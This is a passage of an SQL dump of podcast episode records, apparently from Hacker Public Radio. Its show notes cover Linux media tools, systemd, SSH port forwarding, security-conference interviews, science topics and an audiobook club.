href=\"https://thelinuxexperiment.com\">https://thelinuxexperiment.com</a>\r\n</li>\r\n<li>Twitter: @linuxexperiment\r\n</li>\r\n<li>E-mail: <a href=\"mailto:editor@thelinuxexperiment.com\">editor@thelinuxexperiment.com</a> \r\n</li>\r\n</ul>',320,0,0,'CC-BY-SA','linux, the linux experiment, community',0,0,1),
(1910,'2015-11-27','QMMP--The Qt-based MultiMedia Player',691,'QMMP is a simple media player inspired by Winamp and XMMS.','<p>Qmmp is an audio and video player for Linux, BSD, and Windows that\'s similar in appearance and functionality to Wimamp and XMMS. The Linux and BSD version are capable of playing video as well, through an mplayer plugin.</p>\r\n<p>If you like eye candy, it\'s skinnable; a library of skins is available from the maintainer.  In addition, it works nicely with legacy XMMS and Winamp skins. </p>\r\n<h3>Screenshots:</h3>\r\n<p>Qmmp interface.<br/>\r\n<img src=\"https://www.pineviewfarm.net/weblog/wp-content/uploads/2015/10/qmmp.jpg\"/></p>\r\n<p>Qmmp video play:<br/>\r\n<img src=\"https://www.pineviewfarm.net/weblog/wp-content/uploads/2015/10/qmmp_vid.jpg\"/></p>\r\n<p>Qmmp settings dialog:<br/>\r\n<img src=\"https://www.pineviewfarm.net/weblog/wp-content/uploads/2015/10/qmmp_settings.jpg\"/></p>\r\n<h3>Links:</h3>\r\n<p>Homepage:  <a href=\"https://qmmp.ylsoftware.com/\">https://qmmp.ylsoftware.com/</a></p>\r\n<p>Slackbuilds links:\r\nQmmp:  <a href=\"https://slackbuilds.org/repository/14.1/audio/qmmp/\">https://slackbuilds.org/repository/14.1/audio/qmmp/</a>\r\nQmmp Plugins: <a href=\"https://slackbuilds.org/repository/14.1/audio/qmmp-plugin-pack/\"> https://slackbuilds.org/repository/14.1/audio/qmmp-plugin-pack/</a></p>\r\n<p>Wikipedia article:  <a href=\"https://en.wikipedia.org/wiki/Qmmp\">https://en.wikipedia.org/wiki/Qmmp</a></p>\r\n<p>Playlist (*.m3u) specification:\r\n<a href=\"https://tools.ietf.org/html/draft-pantos-http-live-streaming-17\">https://tools.ietf.org/html/draft-pantos-http-live-streaming-17</a></p>\r\n<p>Skinamp:  <a href=\"https://www.saschahlusiak.de/skinamp/\">https://www.saschahlusiak.de/skinamp/</a></p>\r\n<p>Librivox:  <a href=\"https://www.saschahlusiak.de/skinamp/\">https://librivox.org/</a></p>\r\n',195,0,0,'CC-BY-SA','Audio,Video,Player,Playlist',0,0,1),
(1925,'2015-12-18','Kdenlive Part 1: Introduction to Kdenlive',1085,'Geddes narrates the first part of Seth Kenlon\'s <em>An Introduction to Kdenlive</em>','<p>\r\nThis article has been written by Seth Kenlon and is narrated for you by Geddes. It was first published on 2011-11-16 and some of the commands may have changed slightly. Please see <a href=\"https://opensource.com/life/11/11/introduction-kdenlive\">https://opensource.com/life/11/11/introduction-kdenlive</a> for the complete text.\r\n</p>\r\n\r\n<p>\r\nSeth Kenlon is an independent multimedia artist, free culture advocate, and UNIX geek. He is one of the maintainers of the Slackware-based multimedia production project, <a href=\"https://slackermedia.ml\">https://slackermedia.ml</a>\r\n</p>\r\n\r\n<p>\r\nGNU/Linux has infamously been wanting for a good, solid, professional-level free video editor for years. There have been glimpses of hope here and there, but mostly the editors that have the look and feel of a professional application are prone to blockbuster-worthy crashes, and those that have been stable have mostly been stable because they don\'t actually do anything beyond very basic editing. Kdenlive changes all of that.\r\n</p>\r\n<p>\r\nAt the film production facility at which I work, Kdenlive is the Linux editor in production use, and it performs (and frequently out-performs) the Mac boxes in cost, upkeep, flexibility, speed, and stability. This article series seeks to illuminate for professional editors how Kdenlive can replace proprietary tools, nearly as a drop-in replacement.\r\n</p>\r\n<p>\r\nA good video editor is one that is suitable for anyone wanting to edit video, with powerful features that enable the video professional to do any task required of the job, yet with the simplicity that allows a hobbyist to quickly cut together footage off of a phone or point-and-click camera. Kdenlive can be both of those things, but regardless of the scope of your video project, there are right and wrong ways of doing things. Over the course of five articles, we will review the practical usage and the common set of best practices that will ensure your projects are successful.\r\n</p>\r\n',310,0,0,'CC-BY-SA','Kdenlive,opensource.com,Slackermedia',0,0,1),
(1932,'2015-12-29','Klaatu interviews Grafana',478,'An interview with the Grafana project at All Things Open Conference 2015','<p>\r\nGrafana provides a powerful and elegant way to create, explore, and share dashboards and data with your team and the world.\r\n</p>\r\n<p>\r\nGrafana is most commonly used for visualizing time series data for Internet infrastructure and application analytics but many use it in other domains including industrial sensors, home automation, weather, and process control.\r\n</p>\r\n<p>\r\n<a href=\"https://grafana.org\">https://grafana.org</a>\r\n</p>\r\n\r\n',78,78,0,'CC-BY-SA','go,graph,monitor,devop,admin,server',0,0,1),
(1937,'2016-01-05','Klaatu talks to Cloudera about Hadoop and Big Data',647,'Klaatu talks to Cloudera about Hadoop and Big Data','<p>\r\nCloudera delivers the modern platform for data management and analytics. We provide the world’s fastest, easiest, and most secure Apache Hadoop platform to help you solve your most challenging business problems with data.\r\n</p>\r\n<p>\r\n<a href=\"https://www.cloudera.com/\">https://www.cloudera.com/</a><br />\r\n<a href=\"https://hadoop.apache.org/\">https://hadoop.apache.org/</a>\r\n</p>',78,78,0,'CC-BY-SA','interview,Cloudera,Hadoop',0,0,1),
(1942,'2016-01-12','Kobo Touch N-905 E-Reader',2600,'Klaatu reviews the Kobo Touch e-reader','<p>Klaatu reviews the Kobo Touch N-905 e-reader.</p>\r\n<p>Too Long; Didn\'t Listen: it\'s a positive review and the device mostly works well with Linux. There are some exceptions, such as the need to hack around the registration process; luckily, that\'s easy:</p>\r\n<p><a href=\"https://gedakc.users.sourceforge.net/display-doc.php?name=kobo-desktop-ereader-setup\">https://gedakc.users.sourceforge.net/display-doc.php?name=kobo-desktop-ereader-setup</a></p>\r\n<p>That being \"the ugly\", here are the Good and the Bad:</p>\r\n<h3>Good:</h3>\r\n<ul>\r\n<li>works with Linux, after one initial hack</li>\r\n<li>uses file manager or calibre</li>\r\n<li>great format support (EPUB, EPUB3, PDF, MOBI, JPEG, GIF, PNG, BMP, TIFF, TXT, HTML, RTF, CBZ, CBR)</li>\r\n<li>e-ink </li>\r\n<li>great battery life (lasts a month on one charge, with every evening and weekend filled with reading)</li>\r\n<li>a little more interactive and configurable than expected</li>\r\n<li>one device, one app, one purpose</li>\r\n<li>small, lightweight, convenient</li>\r\n<li>cheap ($60 USD)</li>\r\n<li>expansion up to 32gb</li>\r\n</ul>\r\n<h3>Negative</h3>\r\n<ul>\r\n<li>requires registration (or a rego hack)</li>\r\n<li>rearranges your books by meta data; no override to respect your dirs</li>\r\n<li>touch screen</li>\r\n<li>slow (though not annoyingly slow)</li>\r\n<li>long time to index books</li>\r\n<li>hard to keep track of books you are currently reading</li>\r\n<li>sleep/off screen should be more configurable</li>\r\n</ul>\r\n',78,0,0,'CC-BY-SA','book,ebook,kobo',0,0,1),
(1930,'2015-12-25','A systemd primer',511,'An introduction to the modern linux init system','<h2>1 What is systemd?</h2>\r\n<p>A dependency system for unix services.<br />\r\nAnd, a set of basic unix services to make a unix system usable.<br />\r\nAnd, a growing list of not quite so basic services</p>\r\n<ul>\r\n<li>NTP, networkd, timers (crond/atd)\r\n</li></ul>\r\n<p>From a programmers perspective, it\'s the mainloop phenomenon.</p>\r\n<h2>2 Alternatives</h2>\r\n<p>Solaris: Service Management Facility<br />\r\nMac OSX: launchd<br />\r\nUbuntu: upstart (until recently)</p>\r\n<h2>3 Replaces</h2>\r\n<p>SYSV<br />\r\nLSB (actually implements LSB deps)</p>\r\n<h2>4 Terminology</h2>\r\n<p>units</p>\r\n<ul>\r\n<li>[auto]mount</li>\r\n<li>swap</li>\r\n<li>path (inotify triggers)</li>\r\n<li>socket</li>\r\n<li>timer (crond/atd)</li>\r\n<li>service</li>\r\n<li>slice (cgroup)</li>\r\n<li>pseudo<ul>\r\n<li>device</li>\r\n<li>snapshot</li>\r\n<li>scope</li>\r\n</ul>\r\n</li>\r\n</ul>\r\n<p>targets</p>\r\n<ul>\r\n<li>replace run levels</li>\r\n<li>default target at boot</li>\r\n<li>can isolate to just one target</li>\r\n</ul>\r\n<h2>5 Advantages - Design</h2>\r\n<p>Proper, explicit dependencies between system compontents<br />\r\nStarts components in parallel<br />\r\nA proper separation of concerns, lots of situations covered.</p>\r\n<ul>\r\n<li>configuration files are regular, simple to understand generally small</li>\r\n<li>OTOH, there are LOTS of options</li>\r\n</ul>\r\n<p>Configuration is not runnable shell.</p>\r\n<pre><code>[Unit]\r\nDescription=CUPS Scheduler\r\nDocumentation=man:cupsd(8)\r\n\r\n[Service]\r\nExecStart=/usr/sbin/cupsd -l\r\nType=simple\r\n\r\n[Install]\r\nAlso=cups.socket cups.path\r\nWantedBy=printer.target\r\n</code></pre>\r\n<p>Separate system and user daemons.</p>\r\n<h2>6 Advantages - Sysadmins</h2>\r\n<p>Modify configuration without modifying upstream configuration<br />\r\nService watching (startup, watchdog, failure modes)<br />\r\nsystemd-delta</p>\r\n<pre><code>[EXTENDED]   /lib/systemd/system/rc-local.service → /lib/systemd/system/rc-local.service.d/debian.conf\r\n[EXTENDED]   /lib/systemd/system/systemd-timesyncd.service → /lib/systemd/system/systemd-timesyncd.service.d/disable-with-time-daemon.conf\r\n[EQUIVALENT] /etc/systemd/system/default.target → /lib/systemd/system/default.target\r\n\r\n3 overridden configuration files found.\r\n</code></pre>\r\n<h2>7 Advantages - Programming</h2>\r\n<p>Removal of some error and security prone code</p>\r\n<ul>\r\n<li>socket activation (e.g. privileged ports)</li>\r\n<li>user/group changing</li>\r\n</ul>\r\n<h2>8 Advantages - Provisioning</h2>\r\n<p>standardized cgroup controls<br />\r\ncontainers<br />\r\ndebootstrap ; systemd-spawn-boot\r\n* systemd takes care of all pseudo file systems for you</p>\r\n<h2>9 Advantages - Users</h2>\r\n<p>quick to boot<br />\r\ncan reduce load later on (services start & stop as required)<br /></p>\r\n<h2>10 Examples</h2>\r\n<p>Color legend:</p>\r\n<ul>\r\n<li>black = Requires</li>\r\n<li>dark blue = Requisite</li>\r\n<li>dark grey = Wants</li>\r\n<li>red = Conflicts</li>\r\n<li>green = After</li>\r\n</ul>\r\n<p><a href=\"https://clintonroy.wordpress.com/a-systemd-primer/loom_boot.svg\">systemd-analyze blame</a></p>\r\n<p><a href=\"https://clintonroy.wordpress.com/a-systemd-primer/loom.svg\">systemd-analyze plot</a></p>\r\n<p><a href=\"https://clintonroy.wordpress.com/a-systemd-primer/loom_gdm.svg\">systemd-analyze plot gdm.service</a></p>\r\n<h2>11 Disadvantages</h2>\r\n<p>Journald</p>\r\n<ul>\r\n<li>It’s really nice in theory, but in practice I’ve found it to be slow and buggy</li>\r\n</ul>\r\n<p>It’s a little new, so LTS distros necessarily have older versions</p>\r\n<ul>\r\n<li>el7 has something like 200 patches</li>\r\n</ul>\r\n<p>network-online.target is a bit flakey<br />\r\nDBUS</p>\r\n<ul>\r\n<li>Unix is a graveyard of IPC, I don\'t feel DBUS is much better</li>\r\n<li>KDBUS means it will probably be around for ever.</li>\r\n</ul>\r\n<h2>12 Quandries</h2>\r\n<p>Deeply hooked into linux specific details, not portable</p>\r\n<ul>\r\n<li>kernel api, cgroups, udev etc.</li>\r\n</ul>\r\n<p>Some cool features relient on file system e.g. btrfs for snapshot</p>\r\n<h2>13 Future</h2>\r\n<p>I haven’t had a chance to play with networkd yet, but it sounds like it’s going to be very good.</p>\r\n<h2>14 Questions</h2>\r\n<p>Migrating</p>\r\n<ul>\r\n<li>It depends…</li>\r\n<li>systemd only supports start/stop/reload</li>\r\n<li>work with the daemon: oneshot/simple/forking/inetd</li>\r\n<li>integrate with systemd: notify, watchdog</li>\r\n</ul>\r\n<p>Userspace</p>\r\n<ul>\r\n<li>Every login, a separate systemd -> user is spawned</li>\r\n<li>Can override with .config/systemd files</li>\r\n</ul>\r\n',315,0,0,'CC-BY-SA','systemd,linux',0,0,1),
(1914,'2015-12-03','Waking up',462,'A follow up episode in response to Windigo\'s episode about waking up','<p>\r\nWhen I first heard Windigo\'s episode about waking up, I literally uttered \"Windigo, yer fucking killing me, man\".\r\n</p>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=1838\">https://hackerpublicradio.org/eps.php?id=1838</a>\r\n</p>\r\n',243,0,1,'CC-BY-SA','computer-based alarm system,media player,LED',0,0,1),
(1918,'2015-12-09','DerbyCon Interview with Dave Kennedy',197,'Dave Kennedy talks about a capture the flag contest','<p>\r\nDavid Kennedy (ReL1K) is a security ninja and penetration tester that likes to write code, break things, and develop exploits. Dave is a Chief Information Security Officer (CISO) for a Fortune 1000. Dave is on the Back|Track and Exploit-Database development team and a core member of the Social-Engineer podcast and framework. David continues to contribute to a variety of open-source projects. David had the privilege in speaking at some of the nations largest conferences on a number of occasions including BlackHat, Defcon and Shmoocon. David is the creator of the Social-Engineer Toolkit (SET), Fast-Track, modules/attacks for Metasploit, and has released a number of public exploits. David heavily co-authored the Metasploit Unleashed course available online and has a number of security related white-papers in the field of exploitation. David has a book soon to be released in June from NoStarch Press, “Metasploit: A Penetration Testers Guide”. David is one of the founders of DerbyCon, a hacker con located in Louisville, Kentucky. Lastly, David worked for three letter agencies during his U.S Marine Corp career in the intelligence field specializing in red teaming and computer forensics.\r\n</p>\r\n<p>\r\n<a href=\"https://www.derbycon.com/talks-2011/\">https://www.derbycon.com/talks-2011/</a>\r\n</p>',79,78,1,'CC-BY-SA','interview,penetration testing,metasploit,DerbyCon',0,0,1),
(1919,'2015-12-10','DerbyCon Interview with Paul Koblitz',284,'A brief interview with a pen tester','<p>\r\nXoke interviews Paul Koblitz (@ph4que), Senior Security Consultant at TrustedSec focusing on physical penetration. Also in the shownotes is a template for a \'loid\' which Paul discusses in the interview as his favourite tool.\r\n</p>\r\n',79,78,1,'CC-BY-SA','interview,penetration testing,loid',0,0,1),
(1924,'2015-12-17','Port Forwarding',1366,'In HPR 1900, Ahuka suggests changing the default ssh port, I ask why not employ port forwarding?','<h2 id=\"port-forwarding\">Port Forwarding</h2>\r\n<p>In Episode 1900, Ahuka advised you not to expose the ssh service to the Internet on the default port 22, there we agree. This is called &quot;Security Through Obscurity&quot;. Whenever possible, server functions exposed to the Internet should be on non-default port numbers (the exception being HTTP on a public web server). I disagree however, in Ahuka\'s method of changing the port. He said you should change the port on the server itself:</p>\r\n<p>From <a href=\"https://www.cyberciti.biz/tips/setup-ssh-to-run-on-a-non-standard-port.html\" class=\"uri\">https://www.cyberciti.biz/tips/setup-ssh-to-run-on-a-non-standard-port.html</a></p>\r\n<p>Open /etc/ssh/sshd_config file and look for line Port 22 and change line to Port 2222. Restart sshd server. systemctl restart sshd</p>\r\n<p>Sshd is running on a non-standard port, connection attempts to the system will fail. You need to connect using following command:</p>\r\n<pre><code>$ ssh -p 2222 user@your-ip OR $ ssh -p 2222 user@you.homenetwork.org</code></pre>\r\n<p>This could make sense if you manage a business or school network, where you have numerous users within your network with whom you share varying levels of trust. Still, I don\'t think anyone who can brute force your shh logon or shared keys would be stymied by a simple change of ports. But Ahuka also mentioned home networks, and I think we would rather keep things simple. I would humbly suggest keep ssh servers set to port 22 internally, and using a technology called &quot;port forwarding&quot; available on most consumer routers. Port forwarding is simply an administrator configured table that redirects incoming traffic on one IP port to a specific internal IP address and IP port on your internal network. In fact, unless you have only one PC connected directly to you ISP with no router or firewall, you will still need to setup port forwarding to tell the router which machine on your network the for which incoming communication is intended.</p>\r\n<p>In other words, let\'s say you\'ve enabled ssh on port 40001 of a machine with an internal address of 192.168.1.5. You try to login remotely via ssh on port 40001 using the external IP assigned to you by your ISP (which is taken from a range assigned to them by the IANA). The external IP of your router should be displayed on your router\'s status page, or you could type &quot;what is my IP&quot; into Google. Instead of an IP in the range 192.168.x.y, like you are probably using internally, your external address will be in the Class A or B range, for instance 73.149.12.124.</p>\r\n<p>So let\'s say you have ssh server running on port 40001 on a machine with IP adddress 192.168.1.5 on your home network. Your server has an external address of 73.149.12.124. You are at work or on vaction or whatever and you want to ssh into that machine on your home network, i.e,</p>\r\n<pre><code>ssh -p 40001 you@73.149.12.124</code></pre>\r\n<p>Unless the router itself supports ssh server (entirely possible with third party Linux based firmwares like Open-WRT and DD-WRT), if you haven\'t configured port fowarding, the router won\'t have any idea what to do with an incoming request on port 40001. You need to set up your port forwarding table in your router (don\'t worry, it\'s all point and click). IP forwarding may be under Advanced, in the menus, or Security, or Firewall, or a combination of the above.</p>\r\n<p>You will be asked to enter the external port number (in our example, 40001), TCP or UDP or both (in our case, ssh is both, so you may have to create two separate entries), the internal IP address (in our example 192.168.1.5) and the internal port number (if you changed it internally as Ahuka recommended, in our example 40001, but, and this is the whole point of this podcast, you are going to have to set up port forwarding anyway, so why change the port number locally in the first place? If the terms TCP (Transport Control Protocol) and UDP (User Data Protocol) are unfamiliar to you, the difference can easily be explained. Using TCP, the computer transmitting data stops every few packets (I think the default is three, but don\'t hold me to it) until it gets an acknowledgment from the receiver that the packets were successfully received, then the sender continues. With UDP, the sender blurts out the whole transmission without caring whether the receiver go it or not.</p>\r\n<p>Wikipedia has a great article on official and unofficial standardized port numbers. Once you get into five digits, conflicts to already assigned ports are rare, but it\'s still best to consult the Wiki. The higher numbers are generally not officially assigned, some particular software product is just &quot;squatting&quot; on the number. In fact, using the port number for a technology you are certain will never be used on your network may further obfuscate the service for which you are actually using it. You may think port 40001 is surely high enough to be free of conflict, but the Wiki says 40000 is used by &quot;SafetyNET p Real-time Industrial Ethernet protocol&quot;.</p>\r\n<p>Another advantage of port redirection is you could use a different external port number with every host on your network, i.e., 40001 redirects to you server, 40002 redirects to your desktop, 40003 redirects to the old laptop in the kid\'s room, etc. Personally, I\'d only have port redirection into a single machine that is connected persistently (like a server), and the ssh from it into other hosts on the network (yes, this would be a connection of at least three nested shells). You can even run graphical programs over ssh with the -X argument, but I\'m leaving that on for later discussion. Of course, we will loose that functionality when we move from x-server to Wayland, so if you need a GUI you may have to investigate technologies like VNC or VPN.</p>\r\n<p>Of course, everything depends on having a static IP locally on the ssh server (either set on host itself or manual assignment of IP on the router, if possible). You either need a static external address on the WAN (i.e., external address as seen from the Internet) side or employ a domain forwarding service. Also keep in mind, once we get Ivp6, everything above goes out the window.</p>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.cyberciti.biz/tips/setup-ssh-to-run-on-a-non-standard-port.html\" class=\"uri\">https://www.cyberciti.biz/tips/setup-ssh-to-run-on-a-non-standard-port.html</a></li>\r\n</ul>',131,74,0,'CC-BY-SA','ssh,port forwarding,router',0,0,1),
(1926,'2015-12-21','National Measurements Institutes',657,'A short overview of what these institutes do.','<p>I give a short personal view on what are National Measurements Institutes. More info can be found here:</p>\r\n<ul>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/Measurement_uncertainty\" class=\"uri\">https://en.wikipedia.org/wiki/Measurement_uncertainty</a></p></li>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/Metrology\" class=\"uri\">https://en.wikipedia.org/wiki/Metrology</a></p></li>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/International_Bureau_of_Weights_and_Measures\" class=\"uri\">https://en.wikipedia.org/wiki/International_Bureau_of_Weights_and_Measures</a></p></li>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/National_Physical_Laboratory_%28United_Kingdom%29\">https://en.wikipedia.org/wiki/National_Physical_Laboratory_%28United_Kingdom%29</a></p></li>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/Physikalisch-Technische_Bundesanstalt\" class=\"uri\">https://en.wikipedia.org/wiki/Physikalisch-Technische_Bundesanstalt</a></p></li>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/National_Institute_of_Standards_and_Technology\" class=\"uri\">https://en.wikipedia.org/wiki/National_Institute_of_Standards_and_Technology</a></p></li>\r\n</ul>\r\n<p>One thing not mentioned but related is ISO:</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/International_Organization_for_Standardization\" class=\"uri\">https://en.wikipedia.org/wiki/International_Organization_for_Standardization</a></p>',301,0,1,'CC-BY-SA','science, measurement, NMI, national measurement institute',0,0,1),
(1931,'2015-12-28','Atomic force microscopy',1566,'General view of the nanoscale tools. Special interest with Atomic force microscopes AFM','<p>I give a quick overview of what is nanotechnology. go over some of the tools used to view the small scale. I go a bit more in depth with atomic force microscopy.</p>\r\n<p>I left many things out that I would like to have said but mostly you can get further information here:</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Atomic_force_microscopy\" class=\"uri\">https://en.wikipedia.org/wiki/Atomic_force_microscopy</a></p>',301,0,1,'CC-BY-SA','science, measurement, nanotechnology, small scale',0,0,1),
(1929,'2015-12-24','I Found a Flashlight',820,'I talk about an amazing flashlight I found while walking to work one day recently','<h2>I Found a Flashlight</h2>\r\n\r\n<p>A couple of weeks ago on the way to work I found a flashlight (or a \"torch,\" for those folks across the pond). It was rolling around on the street getting run over by cars and seemingly not suffering any damage as result. As soon as it was safe, I walked out into the street and grabbed it and took it with me. A little poking around online showed me that this was no ordinary device, but a police-grade flashlight.</p>\r\n\r\n<img width=\"auto\" src=\"https://hackerpublicradio.org/eps/hpr1929/hpr1929_SL-20L.jpeg\">\r\n\r\n<p>I contacted the Lafayette Police Department to find out what kind of flashlights they used and whether anyone had reported one missing. Ordinarily when I find something I don\'t worry about this, but I discovered that this thing cost quite a lot of money—around $125 on Amazon with a retail price of $225—and if a police officer had lost it I certainly didn\'t want him going into his own pocket to replace it if I could just give it back to him. The police department wrote back to me saying, yes, this was the kind of flashlight that they issued to their officers but no one was missing one. I also asked the University Police and they said they don\'t normally issue flashlights but that sometimes officers bought their own and no one had reported missing one. </p>\r\n\r\n<p>After seeing the amazing build quality and absolutely unbelievable light quality this thing produced, I decided to keep it and so I had to buy a charger to recharge the battery. This cost about $28 and now I\'m the proud owner of a Streamlight SL-20L flashlight. This is truly one of the greatest tools I\'ve ever had. Listen to the show to hear me sing its praises!</p>\r\n\r\n<img width=\"auto\" src=\"https://hackerpublicradio.org/eps/hpr1929/hpr1929_SL-20L_charging.jpeg\">\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li><a href=\"https://www.streamlight.com/en-ca/product/product.html?pid=248\">Streamlight SL-20L LED Rechargeable Flashlight Series</a></li>\r\n</ul>',238,0,0,'CC-BY-SA','tools, flashlights, safety',0,0,1),
(1928,'2015-12-23','Cov&apos;s Jams',2028,'A compilation of libre licensed music that Cov enjoyed listening to','<p>\r\nThe playlist can be found at <a href=\"https://www.jamendo.com/playlist/500146000/cov-s-jams-001\">https://www.jamendo.com/playlist/500146000/cov-s-jams-001</a>\r\n</p>\r\n\r\n<ol>\r\n<li>Cedric Share-The Awakening Part.II (DerFilm Cut Edition) CEDRIC SHARE #piano #technominimal #techno 02:39</li>\r\n<li>VENTO SUL 1 JURA #happy 03:19</li>\r\n<li>Satisfied MAURO DEL MAR (A.K.A. SCÁNDALI) #soundscapes #rock #song 02:06 </li> \r\n<li>Deva Dasis TASTE OF DREAM #keyboard #synthesizer #lounge 04:21 </li>\r\n<li>Im In Love With A Man ( I Can\'t Stand) ROCC NOBLES 03:36 </li> \r\n<li>We Have A Problem BILLY KORG #rock 05:35 </li>\r\n<li>Libera Me MARIO SALIS #strings #sad #soundtrack 04:53 </li>\r\n<li>Кокарда ДЕВЯТЬ #vocal 05:08 </li>\r\n</ol>',322,22,1,'CC-BY-SA','music',0,0,1),
(1933,'2015-12-30','HPR AudioBookClub 11 Street Candles',8011,'In this episode, the HPR AudioBookClub reviews Street Candles by David Collins-Rivera.','<h3>SUMMARY</h3>\r\n<p>In this episode, the HPR_AudioBookClub reviews Street Candles by David Collins-Rivera. You can download this AudioBook for free from <a href=\"https://www.cavalcadeaudio.com/\">https://www.cavalcadeaudio.com/</a>.</p>\r\n<p>If you liked this book, or are a fan of David Collins-Rivera, you can purchase it from <a href=\"https://www.amazon.com/s?ie=UTF8&page=1&rh=n%3A283155%2Cp_27%3ADavid%20Collins-Rivera\">https://www.amazon.com/s?ie=UTF8&amp;page=1&amp;rh=n%3A283155%2Cp_27%3ADavid%20Collins-Rivera</a>.</p>\r\n<h3>Pre-Spoilers</h3>\r\n<ul>\r\n <li>Thaj: Great book. Makes me want to go back and re-read the previous book.  I wonder how well some of the commentary  present in this book will resonate in the future.  The story is good enough I have no doubt that it will still be a good read, but I\'m not sure if it might loose a bit. </li>\r\n <li>x1101: I Loved this book. So much so that I listened to it twice. Every chapter is a cliff hanger.</li>\r\n <li>pokey: I LOVE this AudioBook! The author (Lostinbronx) really made me care about each of the characters. Every chapter is a cliff hanger, and that WORKS precisely because I do care about the characters.</li>\r\n <li>pegwole: It was a fantastic post modern essay on life. Even though I listened to the wrong AudioBook.</li>\r\n <li>CrispyoneFifty: Speaking for all of humanity, to all of humanity\'s future, I say \"you should go download and listen to this AudioBook!\"</li>\r\n</ul>\r\n<p>(summary)</p>\r\n<h3>BEVERAGE REVIEWS</h3>\r\n<p>As  usual, the HPR_AudioBookClub took some time to review the beverages that each of us were drinking during the episode</p>\r\n<ul>\r\n <li>Thaj: Running late, just drinking water.  I know LAME!</li>\r\n <li>x1101: Black Isle Organic Oatmeal Stout. Very little head, a cholate/coffee nose, as well as chocolate/coffee malt notes. Not overly fizzy, but not sudsy at all. Excellent. <a href=\"https://www.blackislebrewery.com/beer/Hibernator-Oatmeal-Stout.html\">https://www.blackislebrewery.com/beer/Hibernator-Oatmeal-Stout.html</a></li>\r\n <li>pokey: I drank a Six Star Creatine fruit punch because I\'m tired of looking like Ejoq. I have to go to the gym after the show, and this stuff seems to help with muscle recovery. It tastes pretty good. There\'s no funny artificial sweetener after taste, for which I\'m very grateful. <a href=\"https://www.sixstarpro.com/products/creatinex3/\">https://www.sixstarpro.com/products/creatinex3/</a></li>\r\n <li>pegwole: It\'s coffee. Its not a special one either, now shut up.</li>\r\n <li>CrispyoneFifty: Newcastle Werewolf Blood-Red Ale It\'s sweet up front, and leaves a sweet after taste, with a punch of bitter in between. You can definitely taste the rye in there too. <a href=\"https://www.beeradvocate.com/beer/profile/342/71106/\">https://www.beeradvocate.com/beer/profile/342/71106/</a></li>\r\n</ul>\r\n<h3>Spoilers Notes</h3>\r\nx1101\'s mental image of Bin Ragensten <a href=\"https://4.bp.blogspot.com/-tBCFYZpXFTE/ULLWzqZ0X9I/AAAAAAAAAQ4/-w4FEX8atL8/s1600/Santa-Claus-Rise-Of-The-Guardians-600x375.jpg\">https://4.bp.blogspot.com/-tBCFYZpXFTE/ULLWzqZ0X9I/AAAAAAAAAQ4/-w4FEX8atL8/s1600/Santa-Claus-Rise-Of-The-Guardians-600x375.jpg</a> \r\n<h3>OUR NEXT AUDIOBOOK</h3>\r\n<p><strong>The Call of Cthulhu</strong> by H. P. Lovecraft\r\n <br><a href=\"https://hppodcraft.com/podcasts/TheCallofCthulhu-hppodcraft.mp3\">https://hppodcraft.com/podcasts/TheCallofCthulhu-hppodcraft.mp3</a></p>\r\n<p>pegwole suggested this AudioBook, and we all thought that horror was a pretty good selection for our October recording.</p>\r\n<h3>NEXT RECORDING</h3>\r\n<p>We record the second Tuesday of every month at 20:00 Eastern US time Which = the second Wednesday of each month at 01:00z (unless its daylight saving time, then its the second Tuesday 24:00z<a href=\"https://en.wikipedia.org/wiki/ISO_8601#Times\">https://en.wikipedia.org/wiki/ISO_8601#Times</a>  If you\'d like a Google calendar invite, or if you\'d like to be on the  HPR_AudioBookClub mailing list, please get in contact with us on the HPR  mailing list \'hpr at hackerpublicradio dot org.\' We\'re way behind on publishing, so if you want to join us, get in contact one of these ways and we\'ll let you know what the current book is.</p>\r\n<h3>FEEDBACK</h3>\r\n<p>Thank  you very much for listening to this episode of the HPR_AudioBookClub.  We had a great time recording this show, and we hope you enjoyed it as  well. We also hope you\'ll consider joining us next time. Please leave a few words in the episode\'s comment section.\r\n <br>As always; remember to visit the HPR contribution page HPR could really use your help right now.</p>\r\n<p><a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a></p>\r\n<p>Sincerely,\r\n <br>The HPR_AudioBookClub</p>\r\n<p>P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.</p>\r\n',157,53,1,'CC-BY-SA','HPR AudioBookClub',0,0,1),
(1934,'2015-12-31','Experiencing the Meegopad T-02  Part two',901,'Part 2 of the saga of the meegopad T-02','<p>\r\nPart 2 of \"Experiencing the Meegopad T-02.\r\n</p>\r\n<p>\r\nMany thanks to all the HPR contributers that inspire such great stories.\r\n</p>\r\n<p>\r\nGlossary of slang terms to be updated upon show release, along with the list of sound effects contributers.\r\n</p>\r\n\r\nSpecial thanks to the following individuals from freesound.org for their sound effects used throughout this episode.<br />\r\n\r\nRutgermuller <br />\r\njaredi<br />\r\nhybrid34<br />\r\nlintphishx<br />\r\ntimbre<br />\r\ncameronmusic<br />\r\ncr4sht3st<br />\r\nhusky70<br />\r\nmojomills<br />\r\nultradust<br />\r\nconleec<br />\r\ningolyrio<br />\r\ndapperdanial<br />\r\nrobinhood76<br />\r\nunfa<br />\r\nkwahma-02<br />\r\nstephsinger22<br />\r\nlonemonk<br />\r\nreg7783<br />\r\n\r\nHigher quality stereo copies of this episode in .Flac, Ogg, and MP3 format can be found at the following link.<br />\r\n<a href=\"https://drive.google.com/folderview?id=0B6BAm4vn8c7QWnZLbnFib0JPc2M&usp=sharing\">https://drive.google.com/folderview?id=0B6BAm4vn8c7QWnZLbnFib0JPc2M&amp;usp=sharing</a><br />\r\n\r\nGlossary of slang terms used in this episode:<br />\r\n\r\n\"Came unglued\" = going berzerk<br />\r\n\"Sang a little song\" = provided information to law enforcement<br />\r\n\"Still\" = whiskey making apparatus <br />\r\n\"Scoring Barbies\" = Picking up women<br />\r\n\"G-Men\" = Government employees. (Federal agents)<br />\r\n\"Makerspace\" = 3-D Printing 